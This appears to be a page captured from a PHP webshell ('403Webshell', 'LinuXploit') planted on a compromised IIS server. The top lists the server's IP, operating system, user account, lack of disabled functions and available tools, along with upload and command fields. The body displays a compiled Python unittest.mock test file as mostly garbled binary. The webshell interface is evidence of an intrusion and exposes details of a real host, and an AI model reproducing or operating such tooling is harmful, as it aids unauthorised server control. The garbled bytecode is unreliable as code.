403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.109
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/test_unittest/testmock/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/test_unittest/testmock/__pycache__/testwith.cpython-313.opt-1.pyc
�

��iU1���SSKrSSKJr SSKJr SSKJrJrJrJ	r	J
r
Jr \	Rr
\	Rr"SS\5r"SS\R$5r"S	S
\R$5r\S:Xa\R,"5 gg)�N)�catch_warnings)�is_instance)�	MagicMock�Mock�patch�sentinel�	mock_open�callc��\rSrSrSrg)�SampleException�
�N)�__name__�
__module__�__qualname__�__firstlineno__�__static_attributes__r��9C:\Python313\\Lib\test\test_unittest\testmock\testwith.pyrr
s��$rrc�\�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrg)�WithTest�c��[S[-[R5 UR	[
[RS5 SSS5 UR	[
[R5 g!,(df   N3=f�N�%s.something�	unpatched)rrr�
Something2�assertEqual�	something�	Something��selfs r�test_with_statement�WithTest.test_with_statementsU��
�>�H�,�h�.A�.A�
B����Y��(;�(;�[�I�C�����H�$6�$6�7�C�
B�s�&A5�5
Bc�r�UR[5 [S[-[R
5 UR
[[R
S5 [5e!,(df   O=fSSS5 O!,(df   O=fUR
[[R5 gr)	�assertRaisesrrrrrrrr r!s r�test_with_statement_exception�&WithTest.test_with_statement_exceptionsw��
�
�
��
/��~��0�(�2E�2E�F�� � ��H�,?�,?��M�%�'�'�G�F��F�0�
/�
/��	
����H�$6�$6�7s�"B�0A(�(
A6	�2B�
Bc��[S[-5nUR[US5 UR	[U[5S5 SSS5 UR[[R5 g!,(df   N3=f)Nrrzpatching wrong type)	rrrr�
assertTruerrrr �r"�mock_somethings  r�test_with_statement_as�WithTest.test_with_statement_as sa��
�>�H�,�
-�����Y���D��O�O�K��	�B�1�
3�.�	
����H�$6�$6�7�	.�
-�s�8A8�8
Bc��"SS[5nURn[R"US5 URURUS5 SSS5 UR	URU5 g!,(df   N+=f)Nc��\rSrSrSrSrg)�6WithTest.test_patch_object_with_statement.<locals>.Foo�)�foorN)rrrrrrrrr�Foor1)s���Irr4rr)�objectrr�assertNotEqualr)r"r4�originals   r� test_patch_object_with_statement�)WithTest.test_patch_object_with_statement(s]��	�&�	��=�=��
�\�\�#�{�
+�����
�
�x��E�,��������1�,�
+�s�A6�6
Bc���[SS9 [S[-5n[S[-5nUR[US5 UR[
US5 SSS5 SSS5 SSS5 UR[[R5 UR[
[R5 g!,(df   Ng=f!,(df   Np=f!,(df   Ny=f)NT)�recordr�%s.something_elser)	rrrrr�something_elserr �
SomethingElse�r"r,�mock_something_elses   r�test_with_statement_nested�#WithTest.test_with_statement_nested1s���
�4�
(��~��0�1�^�U�K^�ai�Ki�Ej�oB�� � ��N�K�H�� � ��1D�!,�.�Fk�1�)�	
����H�$6�$6�7������)?�)?�@�
Fk�Ej��1�1��)�
(�s9�C"�C�/C�C�'C"�
C�
C�
C	�C"�"
C0c�2�[S[-[R5nUR	[
US5 UR	U[RS5 SSS5 UR	[
[R5 g!,(df   N3=f)Nrrzwrong patch�rrr�Patchedrrr r+s  r�test_with_statement_specified�&WithTest.test_with_statement_specified<sk��
�>�H�,�h�.>�.>�
?�>����Y���D����^�X�-=�-=�}�M�@�	
����H�$6�$6�7�@�
?�s�9B�
Bc�f�[5n[5Ul[5UlSURlUnUR	X!RR5 SSS5 URR5 URRSSS5 g!,(df   NF=f)NF)r�	__enter__�__exit__�return_valuer�assert_called_with)r"�mock�ms   r�testContextManagerMocking�"WithTest.testContextManagerMockingCsw���v���������
�%*��
�
�"�
�Q����Q��� ;� ;�<�����)�)�+��
�
�(�(��t�T�:��T�s�&B"�"
B0c�6�[5nUR[5 U SS- SSS5 SSS5 URR	5 URURR5 g!,(df   NV=f!,(df   N_=f)Nr3�)rr&�	TypeErrorrIrLr*rJ�called)r"rMs  r�$test_context_manager_with_magic_mock�-WithTest.test_context_manager_with_magic_mockOsd���{��
�
�
�y�
)����	��*�	
���)�)�+�����
�
�,�,�-����*�
)�s!�B
�A9�B
�9
B	�B
�

Bc��[S[-[R5nUR	[
US5 [S[-5nUR	[
US5 SSS5 UR	[
US5 SSS5 UR	[
[RS5 g!,(df   NS=f!,(df   NE=f)Nrrzrestored with wrong instanceznot restoredrD)r"r,�
mock_agains   r�"test_with_statement_same_attribute�+WithTest.test_with_statement_same_attributeYs���
�>�H�,�h�.>�.>�
?�>����Y���D��~��0�1�Z�� � ��J��D�2�
���Y��;�
=�
@�	
����H�$6�$6��G�
2�1��@�
?�s#�*C�B1�$C�1
B?	�;C�
Cc��[S[-5nUR[US5 [S[-5nUR[US5 SSS5 SSS5 UR[[
R5 UR[[
R5 g!,(df   N_=f!,(df   Nh=f)Nrrr<)rrrrr=rr r>r?s   r�test_with_statement_imbricated�'WithTest.test_with_statement_imbricatedfs���
�>�H�,�
-�����Y���D��*�X�5�6�:M�� � ��1D�!,�.�7�.�	
����H�$6�$6�7������)?�)?�@�7�6��.�
-�s"�*B?�B.�B?�.
B<	�8B?�?
C
c���0n[R"USS05 URUSS05 SSS5 URU05 UR[5 [R"USS05 URUSS05 [	S5e!,(df   No=f!,(df   O=fSSS5 O!,(df   O=fURU05 g)N�a�b�Konrad)r�dictrr&�	NameError)r"r3s  r�test_dict_context_manager�"WithTest.test_dict_context_managerrs�����
�Z�Z��c�3�Z�
(����S�3��*�-�)�����b�!�
�
�
�y�
)����C�#�s��,�� � ��s�C�j�1���)�)�)�
(��
-�,��,�*�
)�
)��
	
����b�!s)�B� C�: B+�
B(�+
B9	�5C�
Cc���"SS5nU"5n[R"US5n[R"US5nUR5 SSS5 URWRS5 URURS5 UR5 SSS5 URWRS5 g!,(df   N{=f!,(df   N<=f)Nc��\rSrSrSrSrg)�5WithTest.test_double_patch_instance_method.<locals>.C�c��g)Nrr!s r�f�7WithTest.test_double_patch_instance_method.<locals>.C.f�s��rrN)rrrrrkrrrr�Crh�s��rrmrk�r)rr5rkr�
call_count)r"rm�c�patch1�patch2s     r�!test_double_patch_instance_method�*WithTest.test_double_patch_instance_methods���	�	�
�C��
�\�\�!�S�
!�V����a��%������&����V�.�.��2����V�.�.��2�
�C�C�E�"�	
����*�*�A�.�&�%��"�
!�s$�C�C�AC�
C	�C�
C&rN)rrrrr#r'r-r8rArFrOrUrYr\rdrsrrrrrrsA��8�8�8�2�A�8�	;�.�
H�	A�"�/rrc�n�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrSrSrSrg)�TestMockOpen�c���[5n[S[-USS9nURX!5 [	S5 SSS5 URS5 g!,(df   N =f�N�%s.openT��creater3)r	rr�assertIs�open�assert_called_once_with�r"rM�patcheds   r�test_mock_open�TestMockOpen.test_mock_open�sM���{��
�9�x�'��d�
;�w��M�M�'�(���K�<�	
�$�$�U�+�	<�
;�s�A�
A"c�$�[5nURn[S[-USS9 [	S5nUR5 SSS5 SSS5 [
S5[
5R5[
5R5[
5RSSS5[
5R5/nURURU5 URWU5 g!,(df   N�=f!,(df   N�=fry)
r	rKrrr~�readr
rIrJ�closer�
mock_callsr})r"rM�handlerk�expected_callss     r�test_mock_open_context_manager�+TestMockOpen.test_mock_open_context_manager�s����{���"�"��
�9�x�'��d�
;��e��������<��u�+�t�v�'7�'7�'9�4�6�;�;�=��&�/�/�$��d�;�T�V�\�\�^�M��������.�9��
�
�a�� �
���<�
;�s"�D�C0�D�0
C>	�:D�
Dc
�*�[5n[S[-USS9 [S5nUR	5 SSS5 [S5nUR	5 SSS5 SSS5 [S5[5R
5[5R	5[5RSSS5[5R5[S5[5R
5[5R	5[5RSSS5[5R5/
nURURU5 g!,(df   GN,=f!,(df   GN=f!,(df   GN$=f)NrzTr{r3�bar)r	rrr~r�r
rIrJr�rr�)r"rMrkr�s    r�-test_mock_open_context_manager_multiple_times�:TestMockOpen.test_mock_open_context_manager_multiple_times�s����{��
�9�x�'��d�
;��e���������e��������<�
��K���)�)�+�T�V�[�[�]��F�O�O�D�$��-�t�v�|�|�~���K���)�)�+�T�V�[�[�]��F�O�O�D�$��-�t�v�|�|�~�	?��
	
������.�9�������<�
;�s9�F�E�F�
E1�F�
E.	�)F�1
F	�;F�
Fc���[5n[U5 [S[-USS9nUR	X!5 [S5 SSS5 UR
S5 g!,(df   N =fry)rr	rrr}r~rr�s   r�test_explicit_mock�TestMockOpen.test_explicit_mock�sT���{���$��
�9�x�'��d�
;�w��M�M�'�(���K�<�	
�$�$�U�+�	<�
;�s�A�
A-c���[SS9n[S[-USS9 [S5nUR	5nSSS5 URWS5 g!,(df   N!=f)Nr3��	read_datarzTr{r��r	rrr~r�r�r"rM�h�results    r�test_read_data�TestMockOpen.test_read_data�sQ���5�)��
�9�x�'��d�
;��U��A��V�V�X�F�<�	
�����'�	<�
;�s�A�
A!c��[SS9n[S[-USS9 [S5nUR	5nUR	5nUR	5nSSS5 URWS5 URWS5 URWS	5 URWR	5S
5 [SS9n[S[-USS9 [S5nUR	5nSSS5 URWS5 URUR	5S
5 g!,(df   N�=f!,(df   NR=f)N�foo
bar
baz
r�rzTr{r��foo
�bar
�baz
�r3�r	rrr~�readliner)r"rMr��line1�line2�line3r�s       r�test_readline_data�TestMockOpen.test_readline_data�s���#4�5��
�9�x�'��d�
;��U��A��J�J�L�E��J�J�L�E��J�J�L�E�	<�
	
�����(������(������(��������r�*��5�)��
�9�x�'��d�
;��U��A��Z�Z�\�F�<�	
�����'��������r�*�!<�
;��<�
;�s�<D(�D9�(
D6�9
Ec���[SS9n[S[-USS9 [S5nUVs/sHo3PM nnSSS5 UR	WSS5 UR	US	S
5 UR	USS5 UR	WR5S
5 UR
[5 [U5 SSS5 gs snf!,(df   N�=f!,(df   g=f)Nr�r�rzTr{r�rr�rnr��r�r�)	r	rrr~rr�r&�
StopIteration�next)r"rMr��l�liness     r�test_dunder_iter_data�"TestMockOpen.test_dunder_iter_data�s����#4�5��
�9�x�'��d�
;��U��A� !�N��1�Q��E�N�<�	
����q��7�+�����q��7�+�����q��7�+��������r�*�
�
�
�}�
-���G�.�
-��#�<�
;��.�
-�s'�C�C
�C�5C �
C�
C� 
C.c��[SS9n[S[-USS9 [S5n[	U5n[	U5nUVs/sHoUPM nnSSS5 URWS5 URWS5 URWS	S
5 URWR
5S5 gs snf!,(df   Nm=f)Nr�r�rzTr{r�r�r�rr�r�)r	rrr~r�rr�)r"rMr�r�r�r�r�s       r�test_next_data�TestMockOpen.test_next_data�s����#4�5��
�9�x�'��d�
;��U��A���G�E���G�E� !�N��1�Q��E�N�	<�
	
�����(������(�����q��7�+��������r�*��	#�	<�
;�s�&B6�B1�
B6�1B6�6
Cc��[SS9n[S[-USS9 [S5nUR	5nSSS5 URW/SQ5 [SS9n[S[-USS9 [S5nUR	5nSSS5 URU/S	Q5 g!,(df   Nv=f!,(df   N4=f)
Nr�r�rzTr{r�)r�r�r��foo
bar
baz)r�r��baz�r	rrr~�	readlinesrr�s    r�test_readlines_data� TestMockOpen.test_readlines_data�s����#4�5��
�9�x�'��d�
;��U��A��[�[�]�F�<�	
����!<�=��?�3��
�9�x�'��d�
;��U��A��[�[�]�F�<�	
����!:�;�<�
;��<�
;�s�B(�/B9�(
B6�9
Cc��[SS9n[S[-USS9 [SS5nUR	5nSSS5 SSS5 URWS5 g!,(df   N)=f!,(df   N2=f)N��r�rzTr{�abc�rbr�)r"rMrkr�s    r�test_read_bytes�TestMockOpen.test_read_bytessb���7�+��
�9�x�'��d�
;��e�T�"�a������#�<�	
�����)�#�"��<�
;�s!�
A.�A�A.�
A+	�'A.�.
A<c��[SS9n[S[-USS9 [SS5nUR	5nUR	5nUR	5nSSS5 SSS5 URWS5 URWS	5 URWS
5 g!,(df   NM=f!,(df   NV=f)N�abc
def
ghi
r�rzTr{r�r��abc
�def
�ghi
r�)r"rNrkr�r�r�s      r�test_readline_bytes� TestMockOpen.test_readline_bytess���� 2�3��
�9�x�'��4�
8��e�T�"�a��
�
����
�
����
�
���#�9�
	
�����)������)������)�
#�"��9�
8�s"�
B2�1B!�B2�!
B/	�+B2�2
Cc��[SS9n[S[-USS9 [SS5nUR	5nSSS5 SSS5 URW/SQ5 g!,(df   N+=f!,(df   N4=f)	Nr�r�rzTr{r�r�)r�r�r�r�)r"rNrkr�s    r�test_readlines_bytes�!TestMockOpen.test_readlines_bytes sd��� 2�3��
�9�x�'��4�
8��e�T�"�a������#�9�	
����!?�@�#�"��9�
8�s!�
A0�A�A0�
A-	�)A0�0
A>c�\�Sn[US9nURU"5RS5USS5 URU"5RS5USS5 U"5nURURS5USS5 URURS5USS5 g)Nr�r��
)r	rr�)r"�	some_datarMrks    r�!test_mock_open_read_with_argument�.TestMockOpen.test_mock_open_read_with_argument(s���$�	��9�-���������R��)�C�R�.�9��������R��)�C�R�.�9��F����������Y�s��^�4���������Y�r�s�^�4rc��[SS9n[S[-USS9 [S5nUR	5nUR5nSSS5 UR
WS5 UR
WSS	/5 [SS9n[S[-USS9 [S5nUR	5nUR5nSSS5 UR
US5 UR
US
5 g!,(df   N�=f!,(df   ND=f)Nr�r�rzTr{r�r�r�r�zbar
baz
)r	rrr~r�r�rr�)r"rMr�r��rests     r�test_interleaved_reads�#TestMockOpen.test_interleaved_reads5s����#4�5��
�9�x�'��d�
;��U��A��J�J�L�E��;�;�=�D�<�	
�����(�������1�2��#4�5��
�9�x�'��d�
;��U��A��J�J�L�E��6�6�8�D�<�	
�����(�����|�,�<�
;��<�
;�s�,C*�,C;�*
C8�;
D	c���[SS9nU"5nSURlSURlS/URlURUR5S5 URUR5S5 URUR	5S/5 URUR5S5 URUR5S5 g)Nr3r�r�)r	r�rKr�r�r)r"rMr�s   r�test_overriding_return_values�*TestMockOpen.test_overriding_return_valuesIs����5�)�����#(���� �',����$�).�����%���������.�������*�E�2�����)�)�+�e�W�5�	
������*�E�2�������*�E�2rrN)rrrrr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrrvrv�sN��,�
!�
:�,�(�+�.�+�<�$*�	*�A�
5�-�(3rrv�__main__)�unittest�warningsr�#test.test_unittest.testmock.supportr�
unittest.mockrrrrr	r
r rr>r=�	Exceptionr�TestCaserrvr�mainrrr�<module>r�sx���#�;�K�K��
�
�	��(�(��'�i�&�{/�x� � �{/�|I3�8�$�$�I3�X�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit